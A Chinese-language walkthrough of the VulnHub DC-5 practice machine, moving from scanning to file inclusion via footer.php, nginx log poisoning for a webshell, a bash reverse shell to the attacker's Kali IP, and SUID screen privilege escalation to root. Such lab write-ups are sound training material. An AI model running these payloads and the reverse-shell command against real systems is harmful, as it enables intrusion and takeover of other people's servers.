vulnhub-dc5打靶

漏洞环境

vulnhub https://www.vulnhub.com/entry/dc-5,314/
靶机:172.16.17.146
攻击机kali:172.16.17.140

描述

信息收集

nmap扫描靶机

开了111端口rpcbind,百度是拒绝服务漏洞,忽略

打开网站首页,扫一下目录

发现一个留言板,提交看看

多次提交后发现,页脚在变化,结合扫目录时候发现一个footer.php

Exploit

应该是包含了这个footer.php文件,尝试文件包含漏洞,猜一下参数名

尝试伪协议getshell,但是应该没有开启allow_url_include,默认为关闭

1
http://127.0.0.1?file=php://input PostData:<?php phpinfo();?>

尝试读取别的信息

权限很低,只能读取一下nginx的日志,因为扫过目录所以信息很多,翻到最后可以看到我们读取/etc/passwd的请求

写webshell

总结一下,现在我们有文件包含,能查看nginx日志
那么我是否可以构造一句话请求,让他写入日志,再利用文件包含去执行

这里有一个坑,请求发送之后,再去查看日志,却没有,其实已经写进去了

反弹shell

反弹一个shell到kali

1
bash -c 'exec bash -i &>/dev/tcp/172.16.17.140/4444 <&1'

这里反弹回来的就是一个交互式shell

提权

suid提权

翻了翻目录,没什么东西,看看以root权限运行的命令

1
find / -perm -4000 2>/dev/null

有一个screen
Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。

kali搜索一下利用

将exp复制出来用蚁剑直接写到tmp目录下
在root目录下拿到flag